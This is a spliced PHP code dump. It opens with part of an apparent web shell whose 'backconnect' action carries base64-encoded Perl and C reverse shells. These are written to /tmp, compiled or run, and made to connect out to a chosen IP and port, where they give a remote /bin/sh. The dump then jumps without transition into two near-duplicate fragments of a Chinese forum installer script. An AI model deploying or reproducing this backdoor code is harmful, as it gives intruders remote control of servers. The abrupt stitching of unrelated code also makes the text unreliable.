p('<td> </td>'); if ($highver) { p('<td>' . $db_engine['Value'] . '</td>'); p('<td>' . $db_collation['Value'] . '</td>'); } p('<td> </td>'); p('</tr>'); p("<tr class=\"" . bg() . "\"><td colspan=\"" . ($highver ? 9 : 7) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"bak_path\" value=\"" . SA_ROOT . $dbname . ".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"button\" value=\"Export selection table\" onclick=\"\$('doing').value='dump';\$('dbform').submit();\" /></td></tr>"); p("</table>"); } else { p('<p class="red b">No tables</p>'); } $DB->free_result($query); } } $DB->close(); } formfoot(); } elseif ($act == 'backconnect') { !$p2 && ($p2 = $_SERVER['REMOTE_ADDR']); !$p3 && ($p3 = '12345'); $usedb = array('perl' => 'perl', 'c' => 'c'); $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; if ($p1 == 'start' && $p2 && $p3 && $p4) { if ($p4 == 'perl') { cf('/tmp/angel_bc', $back_connect); $res = execute(which('perl') . " /tmp/angel_bc " . $p2 . " " . $p3 . " &"); } else { cf('/tmp/angel_bc.c', $back_connect_c); $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
if ($DBS->geterrdesc()) { exit('指定的数据库不存在, 系统也无法自动建立, 无法安装.<br />'); } else { $DBS->select_db($dbname); //成功建立指定数据库 } } $query - $DBS->query("SELECT COUNT(*) FROM yunbbs_settings", 'SILENT'); if (!$DBS->geterrdesc()) { header('location: /'); exit('数据已经装好了, 不能重复安装, 若要重装,先删除mysql 里全部数据。 <a href="/">现在直接进入首页</a><br />'); } runquery($sql); $timestamp = time(); $DBS->unbuffered_query("UPDATE yunbbs_settings SET value='{$timestamp}' WHERE title='site_create'"); $DBS->close(); // '<br /> 顺利安装完成!<br /><a href="/">点击进入首页</a>'; function runquery($sql) { global $dbcharset, $DBS; $sql = str_replace("\r", "\n", $sql); $ret = array(); $num = 0; foreach (explode(";\n", trim($sql)) as $query) { $queries = explode("\n", trim($query)); foreach ($queries as $query) { $ret[$num] .= $query[0] == '#' ? '' : $query; } $num++; } unset($sql);
} else { $DBM->select_db($dbname); //成功建立指定数据库 } } $DBM->query("SELECT COUNT(*) FROM `yunbbs_settings`", 'SILENT'); if (!$DBM->geterrdesc()) { // 清空缓存 $MMC->flush(); header('location: /'); exit('数据已经装好了, 不能重复安装, 若要重装,先删除mysql 里全部数据。 <a href="/">现在直接进入首页</a><br />'); } runquery($sql); $timestamp = time(); $DBM->unbuffered_query("UPDATE yunbbs_settings SET value='{$timestamp}' WHERE title='site_create'"); $DBM->close(); // 清空缓存 $MMC->flush(); // '<br /> 顺利安装完成!<br /><a href="/">点击进入首页</a>'; function runquery($sql) { global $dbcharset, $DBM; $sql = str_replace("\r", "\n", $sql); $ret = array(); $num = 0; foreach (explode(";\n", trim($sql)) as $query) { $queries = explode("\n", trim($query)); foreach ($queries as $query) { $ret[$num] .= $query[0] == '#' ? '' : $query; } $num++;